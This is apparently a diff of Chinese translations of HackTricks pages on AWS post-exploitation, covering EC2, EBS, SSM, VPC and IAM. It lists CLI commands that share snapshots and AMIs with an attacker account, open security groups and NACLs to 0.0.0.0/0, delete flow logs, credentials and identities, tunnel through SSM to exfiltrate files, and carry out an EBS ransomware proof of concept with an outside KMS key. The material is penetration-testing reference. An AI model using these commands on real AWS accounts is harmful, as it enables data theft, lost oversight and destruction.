+--source-table-name <SOURCE_TABLE_NAME> \
+--target-table-name <NEW_TABLE_NAME> \
+--use-latest-restorable-time
+````
 </details>

-**潜在影响：** 持续的、近实时 exfiltration 将表更改发送到由攻击者控制的 Kinesis stream，而无需对表进行直接读取操作。
+**Potential Impact:** 持续、近实时地将表更改外传到攻击者控制的 Kinesis stream，而无需对表进行直接读取操作。



@@ -1,10 +1,10 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM & VPC 后利用

 {{#include ../../../../banners/hacktricks-training.md}}

 ## EC2 & VPC

-更多信息请参见：
+更多信息请查看：

 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,10 @@

 ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`

-VPC 流量镜像 **会将 VPC 内 EC2 实例的入站和出站流量复制**，无需在实例本身安装任何东西。\
-这些复制的流量通常会发送到类似 network intrusion detection system (IDS) 的系统进行分析和监控。\
+VPC traffic mirroring **复制 VPC 中 EC2 instances 的入站和出站流量**，无需在实例本身安装任何东西。复制的流量通常会发送到类似网络入侵检测系统 (IDS) 的设备进行分析和监控。\
 攻击者可以滥用此功能来捕获所有流量并从中获取敏感信息：

-更多信息请查看该页面：
+更多信息请查看此页面：

 {{#ref}}
 aws-malicious-vpc-mirror.md
@@ -24,7 +23,7 @@ aws-malicious-vpc-mirror.md

 ### Copy Running Instance

-实例通常包含某种敏感信息。有不同的方法可以进入（check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。然而，另一种检查它包含内容的方法是 **创建 AMI 并从它启动一个新的实例（甚至在你自己的账号中）**：
+实例通常包含某种敏感信息。有多种方法可以进入实例（参见 [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。不过，另一种检查其内容的方法是 **创建一个 AMI 并从中运行一个新实例（甚至在你自己的账号中）**：
 ```shell
 # List instances
 aws ec2 describe-images
@@ -50,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump

-**快照是卷的备份**，通常会包含**敏感信息**，因此检查它们应能发现这些信息。\
-如果你发现一个**没有快照的卷**，你可以：**创建一个快照**并执行以下操作，或者在该账户内**将其挂载到实例**：
+**快照是卷的备份**，通常包含**敏感信息**，因此检查它们应该会披露这些信息。\
+如果你发现一个**没有快照的卷**，你可以：**创建快照**并执行以下操作或直接**将其挂载到该账户内的实例**：

 {{#ref}}
 aws-ebs-snapshot-dump.md
@@ -59,7 +58,7 @@ aws-ebs-snapshot-dump.md

 ### Covert Disk Exfiltration via AMI Store-to-S3

-使用 `CreateStoreImageTask` 将 EC2 AMI 直接导出到 S3，以获取原始磁盘映像，而无需共享快照。这样可以在不更改实例网络设置的情况下进行完整的离线取证或数据盗窃。
+使用 `CreateStoreImageTask` 将 EC2 AMI 直接导出到 S3，以获得原始磁盘镜像而无需共享快照。这样可以进行完整的离线取证或数据盗窃，同时保持实例网络设置不变。

 {{#ref}}
 aws-ami-store-s3-exfiltration.md
@@ -67,7 +66,7 @@ aws-ami-store-s3-exfiltration.md

 ### Live Data Theft via EBS Multi-Attach

-将 io1/io2 Multi-Attach 卷附加到第二个实例并以只读方式挂载，以在不使用快照的情况下窃取实时数据。当受害卷在同一 AZ 已启用 Multi-Attach 时，这种方法很有用。
+将 io1/io2 Multi-Attach 卷附加到第二台实例，并以只读方式挂载，以在不使用快照的情况下窃取实时数据。当受害卷在同一 AZ 中已启用 Multi-Attach 时此方法特别有用。

 {{#ref}}
 aws-ebs-multi-attach-data-theft.md
@@ -75,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md

 ### EC2 Instance Connect Endpoint Backdoor

-创建一个 EC2 Instance Connect Endpoint，授权入站，并注入临时 SSH 密钥，通过受管隧道访问私有实例。无需开放公网端口即可快速实现横向移动。
+创建 EC2 Instance Connect Endpoint，授权入站并注入临时 SSH 密钥，通过受管隧道访问私有实例。无需打开公共端口即可快速实现横向移动。

 {{#ref}}
 aws-ec2-instance-connect-endpoint-backdoor.md
@@ -83,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md

 ### EC2 ENI Secondary Private IP Hijack

-将受害 ENI 的次要私有 IP 移动到攻击者控制的 ENI，以冒充按 IP 列入允许列表的受信主机。可绕过基于特定地址的内部 ACL 或 SG 规则。
+将受害者 ENI 的次要私有 IP 移到攻击者控制的 ENI，从而冒充按 IP 列入 allowlist 的可信主机。可绕过基于特定地址的内部 ACL 或 SG 规则。

 {{#ref}}
 aws-eni-secondary-ip-hijack.md
@@ -91,7 +90,7 @@ aws-eni-secondary-ip-hijack.md

 ### Elastic IP Hijack for Ingress/Egress Impersonation

-将 Elastic IP 从受害实例重新关联到攻击者，以拦截入站流量或发起看起来来自受信任公网 IP 的出站连接。
+将受害实例的 Elastic IP 重新关联到攻击者，以拦截入站流量或发起看起来来自可信公共 IP 的出站连接。

 {{#ref}}
 aws-eip-hijack-impersonation.md
@@ -99,7 +98,7 @@ aws-eip-hijack-impersonation.md

 ### Security Group Backdoor via Managed Prefix Lists

-如果安全组规则引用了客户管理的前缀列表，将攻击者的 CIDR 添加到该列表会在不修改安全组本身的情况下，悄然扩展所有依赖此列表的 SG 规则的访问范围。
+如果 security group 的规则引用了一个 customer-managed prefix list，向该列表添加攻击者 CIDR 会在不修改 SG 本身的情况下悄然扩展对所有依赖规则的访问。

 {{#ref}}
 aws-managed-prefix-list-backdoor.md
@@ -107,15 +106,41 @@ aws-managed-prefix-list-backdoor.md

 ### VPC Endpoint Egress Bypass

-创建 gateway 或 interface VPC endpoints，以从隔离子网恢复出站访问。Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
+创建 gateway 或 interface VPC endpoints，从孤立子网恢复出站访问。利用 AWS-managed private links 可以绕过缺失的 IGW/NAT 控制以进行 data exfiltration。

 {{#ref}}
 aws-vpc-endpoint-egress-bypass.md
 {{#endref}}

+### `ec2:AuthorizeSecurityGroupIngress`
+
+拥有 ec2:AuthorizeSecurityGroupIngress 权限的攻击者可以向 security groups 添加入站规则（例如允许来自 0.0.0.0/0 的 tcp:80），从而使内部服务暴露到公共 Internet 或其他未授权网络。
+```bash
+aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
+```
+# `ec2:ReplaceNetworkAclEntry`
+具有 ec2:ReplaceNetworkAclEntry（或类似）权限的攻击者可以修改子网的 Network ACLs (NACLs)，使其变得非常宽松——例如在关键端口上允许 0.0.0.0/0——从而将整个子网范围暴露给 Internet 或未授权的网络段。与按实例应用的 Security Groups 不同，NACLs 在子网级别应用，因此更改一个受限的 NACL 可能会产生更大的影响范围，使更多主机可被访问。
+```bash
+aws ec2 replace-network-acl-entry \
+--network-acl-id <ACL_ID> \
+--rule-number 100 \
+--protocol <PROTOCOL> \
+--rule-action allow \
+--egress <true|false> \
+--cidr-block 0.0.0.0/0
+```
+### `ec2:Delete*`
+
+拥有 ec2:Delete* 和 iam:Remove* 权限的攻击者可以删除关键的基础设施资源和配置 — 例如 key pairs、launch templates/versions、AMIs/snapshots、volumes or attachments、security groups or rules、ENIs/network endpoints、route tables、gateways，或 managed endpoints。 这可能导致立即的服务中断、数据丢失以及取证证据的丢失。
+
+一个例子是删除一个 security group:
+
+aws ec2 delete-security-group \
+--group-id <SECURITY_GROUP_ID>
+
 ### VPC Flow Logs Cross-Account Exfiltration

-将 VPC Flow Logs 指向攻击者控制的 S3 存储桶，以在受害账户之外持续收集网络元数据（源/目的地、端口），用于长期侦察。
+将 VPC Flow Logs 指向攻击者控制的 S3 bucket，以在受害账户之外持续收集网络元数据（源/目的地、端口），用于长期侦察。

 {{#ref}}
 aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -125,87 +150,87 @@ aws-vpc-flow-logs-cross-account-exfiltration.md

 #### DNS Exfiltration

-即使你将 EC2 锁定为无法发送任何流量，它仍然可以 **exfil via DNS**。
+即使你将 EC2 锁定使其无法发出任何流量，它仍然可以 **exfil via DNS**。

- **VPC Flow Logs will not record this**.
+- **VPC Flow Logs 不会记录此类流量**。
 - 你无法访问 AWS 的 DNS 日志。
- 通过将 "enableDnsSupport" 设置为 false 来禁用它，命令：
+- 通过将 "enableDnsSupport" 设置为 false 来禁用此项，命令如下：

 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`

 #### Exfiltration via API calls

-攻击者可以调用由其控制的账户的 API 端点。CloudTrail 会记录这些调用，攻击者将能够在 CloudTrail 日志中查看已 exfiltrate 的数据。
+攻击者可能会调用由其控制的账户的 API 端点。Cloudtrail 会记录这些调用，攻击者将能够在 Cloudtrail 日志中看到 exfiltrate data。

 ### Open Security Group

-你可以通过像下面这样开放端口来进一步访问网络服务：
+你可以通过像下面这样打开端口来获得对网络服务的进一步访问：
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS

-可以运行一个 EC2 实例并将其注册为用于运行 ECS 实例，然后窃取 ECS 实例的数据。
+可以运行一个 EC2 实例并将其注册为用于运行 ECS 实例，然后窃取这些 ECS 实例的数据。

-有关[**更多信息，请查看**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs)。
+更多信息请参见 [**此处**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).

-### 移除 VPC flow logs
+### Remove VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
-### SSM Port Forwarding
+### SSM 端口转发

-所需权限：
+Required permissions:

 - `ssm:StartSession`

-除了命令执行之外，SSM 还允许 traffic tunneling，这可以被滥用来从由于 Security Groups 或 NACLs 而没有网络访问的 EC2 实例进行 pivot。
-一个常见的适用场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) pivot 到私有 EKS 集群。
+除了命令执行外，SSM 还支持流量隧道（traffic tunneling），可被滥用用于从因 Security Groups 或 NACLs 而无法访问网络的 EC2 实例进行 pivot。
+一个常见场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) pivot 到私有 EKS 集群。

-> 要启动会话，你需要安装 SessionManagerPlugin：https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> 要启动 session，你需要在本机安装 SessionManagerPlugin：https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

 1. 在你的机器上安装 SessionManagerPlugin
 2. 使用以下命令登录到 Bastion EC2：
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. 获取 Bastion EC2 的 AWS 临时凭证，使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本
-4. 将凭证传输到你自己的机器，在 `$HOME/.aws/credentials` 文件中作为 `[bastion-ec2]` 配置文件
-5. 以 Bastion EC2 的身份登录到 EKS:
+3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 的 AWS 临时凭证
+4. 将凭证以 `[bastion-ec2]` 配置文件的形式传输到你本机的 `$HOME/.aws/credentials` 文件中
+5. 以 Bastion EC2 身份登录到 EKS:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
 6. 将 `$HOME/.kube/config` 文件中的 `server` 字段更新为指向 `https://localhost`  
-7. 按如下方式创建 SSM 隧道：
+7. 按照如下方式创建 SSM 隧道：
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. 来自 `kubectl` 工具的流量现在通过 SSM 隧道经由 Bastion EC2 转发，您可以通过在本机运行以下命令访问私有 EKS 集群：
+8. 来自 `kubectl` 工具的流量现在通过 Bastion EC2 经由 SSM 隧道转发，您可以在自己的机器上运行以下命令以访问私有 EKS 集群：
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-请注意，除非你设置 `--insecure-skip-tls-verify ` 标志（或 K8s 审计工具中的等效选项），否则 SSL 连接会失败。鉴于流量通过安全的 AWS SSM 隧道进行传输，你免受任何形式的 MitM 攻击。
+注意：如果不设置 `--insecure-skip-tls-verify ` 标志（或 K8s 审计工具中的等效项），SSL 连接将会失败。由于流量通过安全的 AWS SSM 隧道传输，你可以免受任何形式的 MitM 攻击。

-最后，该技术并不限于攻击私有 EKS clusters。你可以设置任意域名和端口，pivot 到任何其他 AWS 服务或自定义应用。
+最后，该技术并不限于攻击私有 EKS 集群。你可以设置任意域名和端口，以 pivot 至任何其他 AWS 服务或自定义应用。

 ---

 #### 快速 本地 ↔️ 远程 端口转发 (AWS-StartPortForwardingSession)

-如果你只需要将 **一个 TCP 端口从 EC2 实例转发到本地主机**，可以使用 `AWS-StartPortForwardingSession` SSM 文档（不需要远程主机参数）：
+如果你只需要将 **一个 TCP 端口从 EC2 实例转发到你的本地主机**，可以使用 `AWS-StartPortForwardingSession` SSM 文档（不需要远程主机参数）：
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
+该命令在你的工作站（`localPortNumber`）与实例上的选定端口（`portNumber`）之间建立一个双向隧道，**无需打开任何入站 Security-Group 规则**。

-常见用例：
+Common use cases:

 * **File exfiltration**
-1. 在实例上启动一个指向你想要 exfiltrate 的目录的快速 HTTP 服务器：
+1. 在实例上启动一个指向你想要 exfiltrate 的目录的简易 HTTP 服务器：

 ```bash
 python3 -m http.server 8000
@@ -234,19 +259,19 @@ aws ssm start-session --target i-0123456789abcdef0 \
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### 在公共或私有 AMIs 中搜索敏感信息
+### 在公共和私有 AMIs 中搜索敏感信息

- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个工具，旨在 **在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息**。它自动化了从目标 AMIs 启动 instances、挂载其 volumes，并扫描潜在 secrets 或敏感数据的过程。
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个工具，旨在**在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息**。它自动化了从目标 AMIs 启动实例、挂载其卷，并扫描潜在的 secrets 或敏感数据的过程。

-### 共享 EBS Snapshot
+### 共享 EBS 快照
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC

-这是一个概念验证，类似于 S3 post-exploitation notes 中演示的 Ransomware 演示。鉴于它可以如此轻易地用于对各种 AWS 服务进行加密，KMS 应该被称为 RMS（Ransomware Management Service）。
+这是一个与 S3 post-exploitation 说明中示范的 Ransomware 演示类似的概念验证 (PoC)。鉴于 KMS 用来加密各类 AWS 服务非常容易，理论上可以将其称为 RMS（Ransomware Management Service）。

-首先，从一个 'attacker' AWS 账号，在 KMS 中创建一个 customer managed key。在此示例中，我们将让 AWS 为我管理密钥数据，但在真实场景中，malicious actor 会将密钥数据保留在 AWS 控制之外。修改 key policy，允许任何 AWS account Principal 使用该密钥。在这个 key policy 中，账号名称是 'AttackSim'，允许所有访问的 policy 规则名为 'Outside Encryption'。
+首先，从一个 “attacker” AWS 账户中，在 KMS 创建一个 customer managed key。在本例中，我们让 AWS 为我管理密钥数据，但在真实场景中，a malicious actor 会将密钥数据保存在 AWS 控制之外。更改 key policy，允许任何 AWS account Principal 使用该密钥。在这个 key policy 中，账户名为 'AttackSim'，允许全部访问的策略规则名为 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -338,7 +363,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ]
 }
 ```
-密钥策略规则需要启用以下项，以允许其用于加密 EBS 卷：
+密钥策略规则需要启用以下项，以允许使用它来加密 EBS 卷：

 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -346,21 +371,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`

-现在有可公开访问的 key 可用。我们可以使用一个 'victim' 帐户，该帐户中有一些 EC2 实例运行并挂载了未加密的 EBS 卷。该 'victim' 帐户的 EBS 卷是我们要加密的目标，此攻击是在假定高权限 AWS 帐户被入侵的前提下进行的。
+现在有了可公开访问的 key 可以使用。我们可以使用一个有些 EC2 实例且附带未加密 EBS 卷的 “victim” 账户。这个 “victim” 账户的 EBS 卷是我们要加密的目标，本次攻击是假定已有一个高权限 AWS 账户被入侵。

 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)

-类似于 S3 ransomware 示例。该攻击将使用 snapshots 创建所附 EBS 卷的副本，使用来自 'attacker' 帐户的公开可用 key 对新的 EBS 卷进行加密，然后从 EC2 实例上分离并删除原始 EBS 卷，最后删除用于创建新加密 EBS 卷的 snapshots。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+类似于 S3 ransomware 示例。该攻击会使用 snapshots 创建附加 EBS 卷的副本，使用来自 “attacker” 账户的公开可用 key 对新的 EBS 卷进行加密，然后从 EC2 实例上分离并删除原始 EBS 卷，最后删除用于创建新加密 EBS 卷的 snapshots。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)

-结果是账户中只剩下已加密的 EBS 卷可用。
+这将导致账户中只剩下已加密的 EBS 卷。

 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)

-另外值得注意的是，脚本停止了 EC2 实例以便分离并删除原始 EBS 卷。原始的未加密卷现在已被删除。
+另外值得注意的是，脚本停止了 EC2 实例以分离并删除原始 EBS 卷。原始未加密卷现在已经消失。

 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)

-接下来，返回 'attacker' 帐户中的 key policy，并从密钥策略中移除 'Outside Encryption' 策略规则。
+接下来，返回到 “attacker” 账户中的 key policy，并从密钥策略中移除 'Outside Encryption' 策略规则。
 ```json
 {
 "Version": "2012-10-17",
@@ -431,15 +456,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ]
 }
 ```
-等待新设置的密钥策略传播。然后返回到 'victim' 账户并尝试挂载其中一个新加密的 EBS 卷。你会发现可以挂载该卷。
+等待新设置的 key policy 传播生效。然后返回 'victim' 账户并尝试挂载其中一个新加密的 EBS 卷。你会发现可以挂载该卷。

 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)

-但是，当你尝试用该加密的 EBS 卷实际启动 EC2 实例时，会失败并且实例会从 'pending' 状态回到 'stopped' 状态并一直保持，因为所附的 EBS 卷无法使用该密钥解密，原因是密钥策略不再允许。
+但是，当你尝试启动附有加密 EBS 卷的 EC2 实例时，它会失败，并且会一直从 'pending' 状态回到 'stopped' 状态，因为已附加的 EBS 卷无法使用该 key 解密，原因是 key policy 不再允许。

 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)

-这是使用的 python 脚本。它接受用于 'victim' 账户的 AWS 凭证和用于加密的公开可用 AWS ARN 密钥值。该脚本会对目标 AWS 账户中附加到所有 EC2 实例的所有可用 EBS 卷制作加密副本，然后停止每个 EC2 实例，分离原始 EBS 卷，删除它们，最后删除过程中使用的所有 snapshots。这样会使目标 'victim' 账户中只剩下已加密的 EBS 卷。仅在测试环境中使用此脚本——它具有破坏性，会删除所有原始 EBS 卷。你可以使用所用的 KMS 密钥通过 snapshots 恢复它们并还原到原始状态，但需要提醒的是，归根结底这是一个 ransomware PoC。
+这是所使用的 python 脚本。它接受用于 'victim' 账户的 AWS creds 和一个可公开获得的用于加密的 AWS ARN 值。该脚本会为目标 AWS 账户中挂载到所有 EC2 实例的 ALL 可用 EBS 卷制作加密副本，然后停止每个 EC2 实例，分离原始 EBS 卷，删除它们，最后删除过程中使用的所有 snapshots。这将使目标 'victim' 账户中只剩下加密的 EBS 卷。ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES。你可以使用所使用的 KMS key 恢复它们，并通过 snapshots 将它们还原到原始状态，但需要提醒你，这归根结底是一个 ransomware PoC。
 ```
 import boto3
 import argparse
@@ -558,6 +583,6 @@ main()
 ```
 ## 参考资料

- [Pentest Partners – 如何使用 SSM 在 AWS 中传输文件](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – 如何在 AWS 中使用 SSM 传输文件](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
-# AWS - IAM Post Exploitation
+# AWS - IAM 后渗透

 {{#include ../../../../banners/hacktricks-training.md}}

@@ -10,17 +10,17 @@
 ../../aws-services/aws-iam-enum.md
 {{#endref}}

-## Confused Deputy 问题
+## Confused Deputy Problem

-如果你**允许一个外部账户 (A)** 访问你账户中的一个**角色**，你很可能对**究竟谁能访问该外部账户**拥有**零可见性**。这是个问题，因为如果另一个外部账户 (B) 能访问外部账户 (A)，那么**B 也可能能够访问你的账户**。
+如果你**允许外部账户 (A)** 访问你账户中的**role**，你很可能对**0 可见性**以及**究竟谁能够访问该外部账户**没有任何可见性。这是个问题，因为如果另一个外部账户 (B) 可以访问外部账户 (A)，就有可能**B 也能够访问你的账户**。

-因此，在允许外部账户访问你账户中的角色时，可以指定一个 `ExternalId`。这是一个“秘密”字符串，外部账户 (A) **需要指定** 该字符串以便 **在你的组织中假定该角色**。由于 **外部账户 B 不会知道这个字符串**，即使他可以访问 A，也 **无法访问你的角色**。
+因此，在允许外部账户访问你账户中的 role 时，可以指定一个 `ExternalId`。这是一个“秘密”字符串，外部账户 (A) **需要指定**它，以便**假定你组织中的 role**。由于**外部账户 B 不会知道该字符串**，即使他可以访问 A，他也**无法访问你的 role**。

 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>

-然而，请注意这个 `ExternalId` “秘密”**并不是真正的秘密**，任何能够**读取 IAM 假定角色策略 的人都能看到它**。但只要外部账户 A 知道它，而外部账户 **B 不知道它**，它就**能防止 B 滥用 A 来访问你的角色**。
+但是请注意，这个 `ExternalId` “秘密”**并不是真正的秘密**，任何能够**读取 IAM assume role policy 的人都能看到它**。但只要外部账户 A 知道它，而外部账户 **B 不知道它**，它就能**阻止 B 滥用 A 来访问你的 role**。

-示例:
+示例：
 ```json
 {
 "Version": "2012-10-17",
@@ -39,7 +39,7 @@
 }
 ```
 > [!WARNING]
-> 为了让攻击者利用 confused deputy，他需要以某种方式确认当前 account 的 principals 是否可以 impersonate 其他 account 的 roles。
+> 要让攻击者利用 confused deputy，他需要以某种方式确认当前 account 的 principals 是否能 impersonate 其他 accounts 中的 roles。

 ### 意外的信任关系

@@ -51,7 +51,7 @@
 "Principal": { "AWS": "*" }
 }
 ```
-此策略 **允许所有 AWS** 假定该角色。
+此策略**允许所有 AWS** 假设该角色。

 #### 服务作为主体
 ```json
@@ -62,7 +62,7 @@
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-此策略 **允许任何账户** 配置其 apigateway 来调用此 Lambda。
+该策略**允许任意账户**配置其 apigateway 来调用此 Lambda。

 #### S3 作为主体
 ```json
@@ -73,7 +73,7 @@
 }
 }
 ```
-If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **删除了你的 bucket 而攻击者在他们自己的账户中创建了它**，那么他们可能会滥用这一点。
+如果将 S3 bucket 指定为 principal，因为 S3 buckets 没有 Account ID，若你 **删除了你的 bucket 并且攻击者创建了** 它在他们自己的账户中，那么他们可能会滥用这一点。

 #### 不支持
 ```json
@@ -87,7 +87,7 @@ If an S3 bucket is given as a principal, because S3 buckets do not have an Accou
 A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).

 ### 凭证删除
-拥有 以下 任一 权限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — 攻击者 可以 删除 access keys、login profiles、SSH keys、service-specific credentials、instance profiles、certificates 或 CloudFront public keys，或 将 roles 从 instance profiles 中 解除关联。此类 操作 可以 立即 阻止 合法 用户 和 应用 并 导致 denial-of-service 或 依赖 这些 凭证 的 系统 丧失 访问，因此 这些 IAM 权限 必须 严格 限制 并 进行 监控。
+拥有下列任一权限 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — 的主体可以删除访问密钥、登录配置文件、SSH 密钥、服务特定凭据、实例配置文件、证书或 CloudFront 公钥，或将角色从实例配置文件中解除关联。此类操作会立即阻止合法用户和应用，并可能导致 denial-of-service 或依赖这些凭证的系统失去访问，因此这些 IAM 权限必须严格限制并监控。
 ```bash
 # Remove Access Key of a user
 aws iam delete-access-key \
@@ -99,9 +99,8 @@ aws iam delete-ssh-public-key \
 --user-name <Username> \
 --ssh-public-key-id APKAEIBAERJR2EXAMPLE
 ```
-### 身份删除
-拥有 `iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole` 或 `iam:RemoveUserFromGroup` 之类权限的主体，可以删除用户、角色或组，或更改组成员资格，从而移除身份及相关痕迹。  
-这会立即中断依赖这些身份的人员和服务的访问，造成 denial-of-service 或访问丢失，因此这些 IAM 操作必须严格限制并监控。
+### Identity Deletion
+拥有诸如 `iam:DeleteUser`、`iam:DeleteGroup`、`iam:DeleteRole` 或 `iam:RemoveUserFromGroup` 等权限时，行为者可以删除用户、角色或组——或更改组成员资格——移除身份及相关痕迹。 这可能立即中断依赖这些身份的人员和服务的访问，导致 denial-of-service 或访问丢失，因此这些 IAM 操作必须受到严格限制和监控。
 ```bash
 # Delete a user
 aws iam delete-user \
@@ -116,7 +115,7 @@ aws iam delete-role \
 --role-name <Role>
 ```
 ###
-拥有以下任一权限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 行为者可以删除或分离受管/内联策略、移除策略版本或权限边界，并将策略从用户、组或角色中解绑。这会破坏授权并可能改变权限模型，导致依赖这些策略的主体立即失去访问权限或发生拒绝服务，因此这些 IAM 操作必须被严格限制和监控。
+拥有以下任一权限 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 的行为者可以删除或分离托管/内联策略、移除策略版本或权限边界，并将策略与用户、组或角色解除关联。这会破坏授权并可能改变权限模型，导致依赖这些策略的主体立即失去访问权限或遭遇拒绝服务，因此这些 IAM 操作必须被严格限制并监控。
 ```bash
